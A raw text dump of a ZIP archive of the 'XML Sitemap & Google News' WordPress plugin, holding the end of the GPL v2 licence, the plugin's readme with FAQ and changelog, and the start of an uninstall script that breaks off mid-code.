this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {description} Copyright (C) {year} {fullname} This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. {signature of Ty Coon}, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. PK.—[òqê  xml-sitemap-feed/README.mdnu„[µü¤# XML Sitemap & Google News feeds XML and Google News Sitemaps for WordPress to feed the hungry spiders. Multisite, WP Super Cache, Polylang and WPML compatible. [https://wordpress.org/plugins/xml-sitemap-feed/](https://wordpress.org/plugins/xml-sitemap-feed/) PK.—[nÞvAÔÔxml-sitemap-feed/readme.txtnu„[µü¤=== XML Sitemap & Google News === Contributors: RavanH Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=ravanhagen%40gmail%2ecom&item_name=XML%20Sitemap%20Feed Tags: sitemap, xml sitemap, news sitemap, sitemap.xml, robots.txt, Google, Google News, Yahoo, Bing, Yandex, Baidu, seo, feed, Polylang, WPML, image sitemap Requires at least: 4.4 Requires PHP: 5.4 Tested up to: 5.3 Stable tag: 5.2.6 XML and Google News Sitemaps to feed the hungry spiders. Multisite, WP Super Cache, Polylang and WPML compatible. == Description == This plugin dynamically creates feeds that comply with the **XML Sitemap** and the **Google News Sitemap** protocol. **Multisite**, **Polylang** and **WPML** compatible and there are no files created. There are options to control which sitemaps are enabled, which Post types are included, how Priority and Lastmod are calculated, who to ping and a possibility to set additional robots.txt rules from within the WordPress admin. The main advantage of this plugin over other XML Sitemap plugins is **simplicity**. No need to change file or folder permissions, move files or spend time tweaking difficult plugin options. You, or site owners on your Multisite network, will not be bothered with overly complicated settings like most other XML Sitemap plugins. The default settings will suffice in most cases. An XML Sitemap Index becomes instantly available on **yourblog.url/sitemap.xml** (or yourblog.url/?feed=sitemap if you're not using a 'fancy' permalink structure) containing references to posts and pages by default, ready for indexing by search engines like Google, Bing, Yahoo, AOL and Ask. When the Google News Sitemap is activated, it will become available on **yourblog.url/sitemap-news.xml** (or yourblog.url/?feed=sitemap-news), ready for indexing by Google News. Both are automatically referenced in the dynamically created **robots.txt** on **yourblog.url/robots.txt** to tell search engines where to find your XML Sitemaps. Google and Bing will be pinged on each new publication. Please read the FAQ's for info on how to get your articles listed on Google News. **Compatible with caching plugins** like WP Super Cache, W3 Total Cache and Quick Cache that cache feeds, allowing a faster serving to the impatient (when hungry) spider. **NOTES:** 1. If you _do not use fancy URL's_ or you have WordPress installed in a _subdirectory_, a dynamic **robots.txt will NOT be generated**. You'll have to create your own and upload it to your site root! See FAQ's. 2. On large sites, it is advised to use a good caching plugin like **WP Super Cache**, **Quick Cache**, **W3 Total Cache** or another to improve your site _and_ sitemap performance. = Features = * Compatible with multi-lingual sites using **Polylang** or **WPML** to allow all languages to be indexed equally. * Option to add new robots.txt rules. These can be used to further control (read: limit) the indexation of various parts of your site and subsequent spread of pagerank across your sites pages. * Includes XLS stylesheets for human readable sitemaps. **XML Sitemap** * Sitemap Index with optional inclusion of sitemaps for custom post types, categories and tags. * Sitemap with custom URLs optional. * Custom/static sitemaps can be added to the index. * Works out-of-the-box, even on **Multisite** installations. * Optionally include Image tags with caption and title for featured images or attached images. * Pings Google, Bing & Yahoo on new post publication, once per hour. * Options to define which post types and taxonomies get included in the sitemap * Updates Lastmod on post modification or on comments. * Set Priority per post type, per taxonomy and per individual post. * Exclude individual posts and pages. **Google News Sitemap** * Required news sitemap tags: Publication name, language, title and publication date. * Set a News Publication Name or uses site name. * Supports custom post types. * Limit inclusion to certain post categories. * Pings Google on new publications, once per 5 minutes. = Pro Features = **[Google News Advanced](https://premium.status301.net/downloads/google-news-advanced/)** * Multiple post types - Include more than one post type in the same News Sitemap. * Keywords - Add the keywords tag to your News Sitemap. Keywords can be created from Tags, Categories or a dedicated Keywords taxonomy. * Stock tickers - Add stock tickers tag to your News Sitemap. A dedicated Stock Tickers taxonomy will be available to manage them. * Ping log - Keep a log of the latest pings to Google with exact date and response status. = Privacy / GDPR = This plugin does not collect any user or visitor data nor set browser cookies. Using this plugin should not impact your site privacy policy in any way. **Data that is published** An XML Sitemap index, referencing other sitemaps containing your web site's public post URLs of selected post types that are already public, along with their last modification date and associated image URLs, and any selected public archive URLs. A Google News Sitemap containing your web site's public and recent (last 48 hours) URLs of selected news post type, along with their publication time stamp and associated image URL. **Data that is transmitted** Data actively transmitted to search engines is your sitemap location and time of publication. This happens upon each post publication when at least one of the Ping options on Settings > Writing is enabled. In this case, the selected search engines are alerted of the location and updated state of your sitemap. = Contribute = If you're happy with this plugin as it is, please consider writing a quick [rating](https://wordpress.org/support/plugin/xml-sitemap-feed/review/#new-post) or helping other users out on the [support forum](https://wordpress.org/support/plugin/xml-sitemap-feed). If you wish to help build this plugin, you're very welcome to [translate it into your language](https://translate.wordpress.org/projects/wp-plugins/xml-sitemap-feed/) or contribute code on [Github](https://github.com/RavanH/xml-sitemap-feed/). = Credits = XML Sitemap Feed was originally based on the discontinued plugin Standard XML Sitemap Generator by Patrick Chia. Since then, it has been completely rewritten and extended in many ways. == Installation == = Wordpress = **I.** If you have been using another XML Sitemap plugin before, check your site root and remove any created sitemap.xml, sitemap-news.xml and (if you're not managing this one manually) robots.txt files that remained there. **II.** Install plugin by: Quick installation via **[Covered Web Services](http://coveredwebservices.com/wp-plugin-install/?plugin=xml-sitemap-feed)** ! … OR … Search for "xml sitemap feed" and install with that slick **Plugins > Add New** admin page. … OR … Follow these steps: 1. Download archive. 2. Upload the zip file via the Plugins > Add New > Upload page … OR … unpack and upload with your favourite FTP client to the /plugins/ folder. **III.** Activate the plugin on the Plugins page. Done! Check your sparkling new XML Sitemap by visiting yourblogurl.tld/sitemap.xml (adapted to your domain name of course) with a browser or any online XML Sitemap validator. You might also want to check if the sitemap is listed in your yourblogurl.tld/robots.txt file. = WordPress 3+ in Multi Site mode = Same as above but do a **Network Activate** to make a XML sitemap available for each site on your network. Installed alongside [WordPress MU Sitewide Tags Pages](http://wordpress.org/plugins/wordpress-mu-sitewide-tags/), XML Sitemap Feed will **not** create a sitemap.xml nor change robots.txt for any **tag blogs**. This is done deliberately because they would be full of links outside the tags blogs own domain and subsequently ignored (or worse: penalised) by Google. = Uninstallation = Upon uninstalling the plugin from the Admin > Plugins page, plugin options and meta data will be cleared from the database. See notes in the uninstall.php file. On multisite, the uninstall.php *can* loop through all sites in the network to perform the uninstalltion process for each site. However, this does not scale for large networks so it *only* does a per-site uninstallation when `define('XMLSF_MULTISITE_UNINSTALL', true);` is explicitly set in wp-config.php. == Frequently Asked Questions == = Where are the options? = On **Settings > Reading** you can enable the XML Sitemap Index and (if needed) the Google News Sitemap. There is also an Additional robots.txt rules field. Once a sitemap is enabled, its options can be found on **Settings > XML Sitemap** or on **Settings > Google News**. Ping settings can be found on **Settings > Writing**. = How do I get my latest articles listed on Google News? = Go to [Suggest News Content for Google News](http://www.google.com/support/news_pub/bin/request.py?contact_type=suggest_content) and submit your website info as detailed as possible there. Give them the URL(s) of your fresh new Google News Sitemap in the text field 'Other' at the bottom. You will also want to add the sitemap to your [Google Webmasters Tools account](https://www.google.com/webmasters/tools/) to check its validity and performance. Create an account if you don't have one yet. = Can I manipulate values for Priority and Changefreq? = You can find default settings for Priority on **Settings > XML Sitemap**. A fixed priority can be set on a post by post basis too. Changefreq has been dropped since version 4.9 because it is no longer taken into account by Google. = Do I need to submit the sitemap to search engines? = No. In normal circumstances, your site will be indexed by the major search engines before you know it. The search engines will be looking for a robots.txt file and (with this plugin activated) find a pointer in it to the XML Sitemap on your blog. The search engines will return on a regular basis to see if your site has updates. Besides that, Google and Bing are pinged upon each new publication by default. **NOTE:** If you have a server _without rewrite rules_, use your blog _without fancy URLs_ (meaning, you have WordPress Permalinks set to the old default value) or have it installed in a _subdirectory_, then read **Do I need to change my robots.txt** for more instructions. = Does this plugin ping search engines? = Yes, Google and Bing are pinged upon each new publication. Unless you disable this feature on **Settings > Writing**. = Do I need to change my robots.txt? = In normal circumstances, if you have no static robots.txt file in your site root, the new sitemap url will be automatically added to the dynamic robots.txt that is generated by WordPress. If you use a static robots.txt file in your website root, you will need to open it in a text editor. If there is already a line with `Sitemap: http://yourblogurl.tld/sitemap.xml` you can just leave it like it is. But if there is no sitemap referrence there, add it (adapted to your site url) to make search engines find your XML Sitemap. Or if you have WP installed in a subdirectory, on a server without rewrite_rules or if you do not use fancy URLs in your Permalink structure settings. In these cases, WordPress will need a little help in getting ready for XML Sitemap indexing. Read on in the **WordPress** section for more. = My WordPress powered blog is installed in a subdirectory. Does that change anything? = That depends on where the index.php and .htaccess of your installation reside. If they are in the root while the rest of the WP files are installed in a subdir, so the site is accessible from your domain root, you do not have to do anything. It should work out of the box. But if the index.php is together with your wp-config.php and all other WP files in a subdir, meaning your blog is only accessible via that subdir, you need to manage your own robots.txt file in your **domain root**. It _has_ to be in the root (!) and needs a line starting with `Sitemap:` followed by the full URL to the sitemap feed provided by XML Sitemap Feed plugin. Like: ` Sitemap: http://yourblogurl.tld/subdir/sitemap.xml ` If you already have a robots.txt file with another Sitemap reference like it, just add the full line below or above it. = Do I need to use a fancy Permalink structure? = No. While I would advise you to use any one of the nicer Permalink structures for better indexing, you might not be able to (or don't want to) do that. If so, you can still use this plugin: Check to see if the URL yourblog.url/?feed=sitemap does produce a feed. Now manually upload your own robots.txt file to your website root containing: ` Sitemap: http://yourblog.url/?feed=sitemap User-agent: * Allow: / ` You can also choose to notify major search engines of your new XML sitemap manually. Start with getting a [Google Webmasters Tools account](https://www.google.com/webmasters/tools/) and submit your sitemap for the first time from there to enable tracking of sitemap downloads by Google! or head over to [XML-Sitemaps.com](http://www.xml-sitemaps.com/validate-xml-sitemap.html) and enter your sites sitemap URL. = Can I change the sitemap name/URL? = No. If you have fancy URL's turned ON in WordPress (Permalinks), the sitemap url is `yourblogurl.tld/sitemap.xml` but if you have the Permalink Default option set the feed is only available via `yourblog.url/?feed=sitemap`. = I see no sitemap.xml file in my site root! = There is no actual file created. The sitemap is dynamically generated just like a feed. = I see a sitemap.xml file in site root but it does not seem to get updated! = You are most likely looking at a sitemap.xml file that has been created by another XML Sitemap plugin before you started using this one. Remove that file and let the plugin dynamically generate it just like a feed. There will not be any actual files created. If that's not the case, you are probably using a caching plugin or your browser does not update to the latest feed output. Please verify. = I use a caching plugin but the sitemap is not cached = Some caching plugins have the option to switch on/off caching of feeds. Make sure it is turned on. Frederick Townes, developer of **W3 Total Cache**, says: "There's a checkbox option on the page cache settings tab to cache feeds. They will expire according to the expires field value on the browser cache setting for HTML." The Google News sitemap is designed to NOT be cached. = I get an ERROR when opening the sitemap or robots.txt! = The absolute first thing you need to check is your blogs privacy settings. Go to **Settings > Privacy** and make sure you are **allowing search engines to index your site**. If they are blocked, your sitemap will _not_ be available. Then, you might want to make sure that there is at least ONE post published. WordPress is known to send 404 status headers with feed requests when there are NO posts. Even though the plugin tries to prevent that, in some cases the wrong status header will get sent anyway and Google Webmaster Tools will report a vague message like: We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit. If that did not solve the issue, check the following errors that might be encountered along with their respective solutions: **404 page instead of my sitemap.xml** Try to refresh the Permalink structure in WordPress. Go to Settings > Permalinks and re-save them. Then reload the XML Sitemap in your browser with a clean browser cache. ( Try Ctrl+R to bypass the browser cache -- this works on most but not all browsers. ) **404 page instead of both sitemap.xml and robots.txt** There are plugins like Event Calendar (at least v.3.2.beta2) known to mess with rewrite rules, causing problems with WordPress internal feeds and robots.txt generation and thus conflict with the XML Sitemap Feed plugin. Deactivate all plugins and see if you get a basic robots.txt file showing: ` User-agent: * Disallow: ` Reactivate your plugins one by one to find out which one is causing the problem. Then report the bug to the plugin developer. **404 page instead of robots.txt while sitemap.xml works fine** There is a known issue with WordPress (at least up to 2.8) not generating a robots.txt when there are _no posts_ with _published_ status. If you use WordPress as a CMS with only _pages_, this will affect you. To get around this, you might either at least write one post and give it _Private_ status or alternatively create your own robots.txt file containing: ` Sitemap: http://yourblog.url/sitemap.xml User-agent: * Allow: / ` and upload it to your web root... **Error loading stylesheet: An unknown error has occurred** On some setups (usually using the WordPress MU Domain Mapping plugin) this error occurs. The problem is known, the cause is not... Until I find out why this is happening, please take comfort in knowing that this only affects reading the sitemap in normal browsers but will NOT affect any spidering/indexing on your site. The sitemap is still readable by all search engines! **XML declaration allowed only at the start of the document** This error occurs when blank lines or other output is generated before the start of the actual sitemap content. This can be caused by blank lines at the beginning of wp-config.php or your themes functions.php or by another plugin that generates output where it shouldn't. You'll need to test by disabling all other plugins, switching to the default theme and manually inspecting your wp-config.php file. = I see only a BLANK (white) page when opening the sitemap = There are several cases where this might happen. Open your sitemap in a browser and look at the source code. This can usually be seen by hitting Ctrl+U or right-click then select 'View source...' Then scan the produced source (if any) for errors. A. If you see strange output in the first few lines (head tags) of the source, then there is a conflict or bug occuring on your installation. Please go to the [Support forum](http://wordpress.org/support/plugin/xml-sitemap-feed) for help. B. If the source is empty or incomplete then you're probably experiencing an issue with your servers PHP memory limit. In those cases, you should see a messages like `PHP Fatal error: Allowed memory size of xxxxxx bytes exhausted.` in your server/account error log file. This can happen on large sites. To avoid these issues, there is an option to split posts over different sitemaps on Settings > XML Sitemap. Try different settings, each time revisiting the main sitemap index file and open different sitemaps listed there to check. Read more on [Increasing memory allocated to PHP](http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP) (try a value higher than 256M) or ask your hosting provider what you can do. = Can I run this on a WPMU / WP3+ Multi-Site setup? = Yes. In fact, it has been designed for it. Tested on WPMU 2.9.2 and WPMS 3+ both with normal activation and with Network Activate / Site Wide Activate. == Screenshots == 1. XML Sitemap feed viewed in a normal browser. For your eyes only ;) 2. XML Sitemap source as read by search engines. == Upgrade Notice == = 5.2.6 = New action hooks, taxonomy selection bugfix and relative path stylesheets. == Changelog == = 5.2.7 = * NEW: Ad Inserter compatibility check = 5.2.6 = * NEW: xmlsf_tags_after, xmlsf_url_after and xmlsf_news_url_after action hooks * Make stylesheet paths relative to prevent exclusion when using different language domains * FIX: Taxonomy selection not available to new installs = 5.2.4 = * NEW Rank Math incompatibility admin warnings * FIX undefined index * FIX invalid form control = 5.2.3 = * FIX Cannot use return value in write context * FIX issue #30 for sql_mode=ONLY_FULL_GROUP_BY, thanks @silvios * FIX invalid form control not focusable when meta box is hidden = 5.2.2 = * FIX invalid date format on some PHP versions * FIX Can't use function return value in write context * FIX non-cyrillic URLs stripped from External Web Pages field * FIX Call to undefined function xmlsf_cache_get_archives() = 5.2 = * Image query optimization and meta caching * Last comment date meta caching * Lastmod and publication dates in local time * Removed ignored image tag from news sitemap * Max memory limit for post type and taxonomy term sitemaps * Prevent CDN file urls * Zlib before GZhandler on .gz request * FIX: don't ping for excluded posts * FIX: traditional and simplified Chinese with WPML * FIX: redundant front page url * FIX: array_filter() expects parameter 1 to be array * FIX: possible division by zero * FIX: update_term_modified_meta * FIX: rewrite rules on deactivate/uninstall = 5.1.2 = * FIX: admin notice dismiss button failing * FIX: date archive redirect notice showing for inactive post types * Plugin support and rate links on plugins page = 5.1.1 = * FIX options page not found * FIX news sitemap only ping = 5.1 = * SEOPress and Catch Box incompatibility admin messages * FIX bbPress incompatibility * FIX failing last modified date for taxonomy sitemaps * FIX sitemap showing when only private posts * FIX possible sitemaps for no longer existing post types in index * Admin interface improvements: highlighting and scroll * Upgrade routines in own class only to be included when needed * Moved metabox methods to dedicated classes * NEW Respond to .gz requests (with ob_gzhandler output buffering if needed) * NEW filters xmlsf_disabled_taxonomies, xmlsf_news_keywords, xmlsf_news_stock_tickers * NEW action xmlsf_ping * NEW Tools: Ping search engines and Flush rewrite rules = 5.0.7 = * Allowed domains back to Settings > Reading * FIX static files check on activation * NEW Admin warning on conflicting plugin settings * FIX Empty post priority saved as 0.0 * FIX Call to undefined function xmlsf_get_archives() * FIX force LC_NUMERIC locale to C * FIX Call to private method * FIX Custom post types with a hyphen not showing * FIX Admin static files message fatal error, thanks @kitchin * FIX Improper if statement in upgrade routine, thanks @kitchin * FIX PHP 5.4 compatibility issues = 5.0 = * Complete code restructure and cleanup: MVC and JIT inclusion * Fewer DB queries, much smaller memory footprint on normal queries * NEW Admin interface with dedicated options pages and help tabs * NEW Taxonomy term options: priority and automatic calculation * NEW Admin warning on conflicting static files * NEW Option to delete conflicting static files * NEW Filters for post types: xmlsf_post_types and xmlsf_news_post_types * NEW Filters for priority values: xmlsf_post_priority and xmlsf_term_priority * Removal of Genre, Keywords and Access tags as Google dropped support * Taxonomy term sitemaps speed improvement: get lastmod date from database * Exclude Woocommerce product_shipping_class taxonomy * PHP 7.2+ compat: create_function deprecated * No more domain filtering for custom URLs and sitemaps * FIX Gutenberg editor GN genre taxonomy not showing * FIX Plain and /index.php/ permalink structure * FIX Clear all options on uninstall * FIX Pings = 4.9.4 = * FIX: missing featured images, thanks @flyerua * FIX: double content type response header filtering = 4.9.3 = * Reinstate filter_no_news_limits, allowing post type array * Improved language handling and new language filter xmlsf_post_language * Force text/xml Content-Type response header = 4.9.2 = * FactCheck genre causes error in Search Console = 4.9.1 = * FIX: double genre terms on upgrade from 4.4, thanks @mouhalves * FIX: wp_count_posts uncached and too heavy on large sites, thanks @carlalexander * Last-modified response header now linked to Update on comments setting * FIX: plugin_basename propagation = 4.9 = * Code cleanup * NEW: FactCheck genre * Changefreq tag dropped * NEW: translation strings for genres * FIX: zlib.output_compression compatibility, thanks @alicewondermiscreations * FIX: permalink issue with Woocommerce account page endpoints * FIX: undefined index in news post types = 4.8.3 = * fix get_lastpostdate array/string * restore pre PHP 5.4 compatibility (popular request) = 4.8 = * NEW: Conditional functions is_sitemap() and is_news() * code cleanup and annotation * new google ping URL * revisit get first/last date/modified functions and cache key set/delete * FIX: cache key missing timezone * FIX: wp_rewrite init before flush_rules = 4.7.6 = * FIX Open_BaseDir issue on IIS server = 4.7.5 = * FIX: On cache_flush purge also the respective time_key cache entry, props @e2robert https://wordpress.org/support/topic/object-cache-issue-results-in-outdated-last-modified-values-on-index-sitemap/ * FIX: Variable variable php 7 compat * Detect if headers are already sent and print warning in source = 4.7.4 = * Another WPML compat issue fixed, special thanks to hermes3por3 = 4.7.3 = * NEW: xmlsf_excluded filter * IMPROVEMENT: Polylang and WPML compatibility issues * FIX: "Only variables should be passed by reference" strict warning * FIX: PHP 5.3 compatibility = 4.7 = * WPML compatibility * FIX: News Sitemap chinese language tag * FIX: flush rules on plugin re-activation = 4.6.3 = * NEW: filter xmlsf_custom_sitemaps * BUGFIX: empty custom urls sitemap = 4.6.2 = * NEW: filter xmlsf_custom_urls * More cleanup * BUGFIX: broken Polylang compatibility reported by @zesseb = 4.6.1 = * Code cleanup * POT file update * Dutch translation update = 4.6 = * NEW: xmlsf_news_tags_after action hook * Attempt to remove static sitemap files left over by other sitemap plugins = 4.5.1 = * fix Persistent/Stored XSS vulnerability on admin page, thanks to Sneha Rajguru @Sneharajguru = 4.5 = * Set Google News access tag per post * Exclude posts from Google News sitemap * News Sitemap stylesheet text/links update * FIX: cache_delete cached key instead of cache_flush as suggested by Jeremy Clarke https://wordpress.org/support/topic/please-stop-running-wp_cache_flush-whenever-posts-are-edited * NEW: Nginx Helper compatibility to purge cache sitemap URLs from FastCGI Cache or Redis = 4.4.1 = * BUGFIX contribution by alejandra.aranibar: multiple news post types makes get_lastdate return oldest instead of newest date * BUGFIX plugins_url filter not working, reported by Michael * Dropped GN Geolocation tag support * Dropped XMLSF_POST_TYPE and XMLSF_NEWS_POST_TYPE defines support * Multiple default genres = 4.4 = * Pings max once per hour (5 minutes for news sitemap) * Seperate ping for Google News Sitemap * Append custom/static sitemaps to the index * Include other post types in News Sitemap * Optionally limit posts to certain categories in News Sitemap * Noindex response header for sitemaps to keep them out of search results * Static sitemap stylesheets * Controversial default robots.txt rules removed * DB query streamlining * BUGFIX: fatal error on . (dot) as category base in permalinks * BIGFIX: PHP Strict notices * Force object cache flush on post publication = 4.3.2 = * Italian translation * BUGFIX: html esc / filter image title and caption tags * BUGFIX: empty terms counted causing empty taxonomy sitemap appearing in index * BUGFIX: custom taxonomies where lastmod cannot be determined show empty lastmod tag = 4.3 = * Google News sitemap settings section * Google News tags: access, genres, keywords, geo_locations * Improved Google News stylesheet * Custom Google News Publication Name * Image tags in Google News sitemap * Custom URLs * Allow additional domains * Image caption and title tags * Ping Yandex and Baidu optional * BUGFIX: Ineffective robots.txt rules * BUGFIX: Priority value 0 in post meta not saved * BUGFIX: Ping for all post types * BUGFIX: Custom taxonomy support * BUGFIX: Split by month shows year = 4.2.4 = * NEW: Image tags * Rearranged settings section * FIX: replace permalink, title and bloginfo rss filter hooks with own = 4.2.3 = * BUGFIX: Empty ping options after disabling the main sitemap * BUGFIX: Empty language tag for Google News tags in posts sitemap * Small back end changes * NEW: Custom post types split by year/month = 4.2 = * NEW: Image & News tags * NEW: Exclude pages/posts = 4.1.4 = * BUGFIX: Pass by reference fatal error in PHP 5.4 * BUGFIX: issue with Polylang language code in pretty permalinks setting * BUGFIX: unselected post types in sitemap * BUGFIX: 1+ Priority for sticky posts with comments * Dutch and French translations updated = 4.1 = * NEW: Ping Google and Bing on new publications * NEW: Set priority per post * NEW: Priority calculation options * NEW: Option to split posts by year or month for faster generation of each sitemap * Reduced queries to increase performance * Improved Lastmod and Changefreq calculations * Core class improvements * Dropped qTranslate support * Dropped PHP4 support * BUGFIX: removed several PHP notices = 4.0.1 = * NEW: Dutch and French translations * BUGFIX: Non public sites still have sitemap by default * BUGFIX: Invalid argument supplied for foreach() when all post types are off * BUGFIX: Wrong translation dir = 4.0.0 = * Moved to sitemap index and seperated post/page sitemaps * NEW: options to dswitch off sitemap and news sitemap * NEW: select which post types to include * NEW: select which taxonomies to include * NEW: set additional robots.txt rules * NEW: Translation POT catalogue * Improved Polylang support * Dropped xLanguage support * qTranslate currently untested = 3.9.2 = * Basic Google News feed stylesheet * improvement on XSS vulnerability fix * Fixed trailing slash = 3.9.1 = * SECURITY: XSS vulnerability in sitemap.xsl.php = 3.9 = * Google News Sitemap * Memory limit error workaround (for most sites) = 3.8.8 = * BUGFIX: PHP4 compatibility * BUGFIX: stylesheet URL when installed in mu-plugins * core change to class * minified sitemap output by default = 3.8.5 = * **xLanguage support** based on code and testing by **Daniele Pelagatti** * new FILTER HOOK `robotstxt_sitemap_url` for any translate and url changing plugins. * BUGFIX: Decimal separator cannot be a comma! = 3.8.3 = * filter out external URLs inserted by plugins like Page Links To (thanks, Francois) * minify sitemap and stylesheet output * BUGFIX: qTranslate non-default language home URL = 3.8 = * **qTranslate support** * no more Sitemap reference in robots.txt on non-public blogs = 3.7.4 = * switch from `add_feed` (on init) to the `do_feed_$feed` hook * BUGFIX: `is_404()` condition TRUE and Response Header 404 on sites without posts * BUGFIX: `is_feed()` condition FALSE after custom query_posts * BUGFIX: no lastmod on home url when only pages on a site * BUGFIX: stylesheet url wrong when WP installed in a subdir = 3.7 = * massive changefreq calculation improvement * further priority calulation improvement taking last comment date into account = 3.6.1 = * BUGFIX: wrong date calculation on blogs less than 1 year old = 3.6 = * massive priority calculation improvement = 3.5 = * complete rewrite of plugin internals * speed improvements * WP 3.0 (normal and MS mode) ready = 3.4 = * BUGFIX: use home instead of siteurl for blog url for sitemap reference in robots.txt * code streamline and cleanup = 3.3 = * automatic exclusion of tags blog in wpmu = 3.2 = * rewrite and add_feed calls improvements * BUGFIX: double entry when static page is frontpage = 3.0 = * added styling to the xml feed to make it human readable = 2.1 = * BUGFIX: lastmod timezone offset displayed wrong (extra space and missing double-colon) = 2.0 = * priority calculation based on comments and age * changefreq based on comments = 1.0 = * changed feed template location to avoid the need to relocate files outside the plugins folder * BUGFIX: `get_post_modified_time` instead of `get_post_time` = 0.1 = * rework from Patrick Chia's [Standard XML Sitemaps](http://wordpress.org/plugins/standard-xml-sitemap/) * increased post urls limit from 100 to 1000 (of max. 50,000 allowed by the Sitemap protocol) PK.—[NDR›L L xml-sitemap-feed/uninstall.phpnu„[µü¤uninstall() defined in uninstall.php * * Be careful: There is NO batch-processing so it does not scale on large networks! * * example: * define('XMLSF_MULTISITE_UNINSTALL', true); */ // exit if uninstall not called from WordPress if ( !defined('WP_UNINSTALL_PLUGIN') ) exit(); /* * XML Sitemap Feed uninstallation * * @since 4.4 */ class XMLSitemapFeed_Uninstall { /* * constructor: manages uninstall for multisite * * @since 4.4 */ function __construct() { global $wpdb; // check if it is a multisite and if XMLSF_MULTISITE_UNINSTALL constant is defined // if so, run the uninstall function for each blog id if ( is_multisite() && defined('XMLSF_MULTISITE_UNINSTALL') && XMLSF_MULTISITE_UNINSTALL ) { error_log('Clearing XML Sitemap Feeds settings from each site brefore uninstall:'); $field = 'blog_id'; $table = $wpdb->prefix.'blogs'; foreach ( $wpdb->get_col("SELECT {$field} FROM {$table}") as $blog_id ) { switch_to_blog($blog_id); $this->uninstall($blog_id); } restore_current_blog(); } else $this->uninstall(); } /* * remove plugin data * * @since 4.4 */ function uninstall($blog_id = false) { // remove metadata global $wpdb; // posts meta $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_attached' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_featured' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 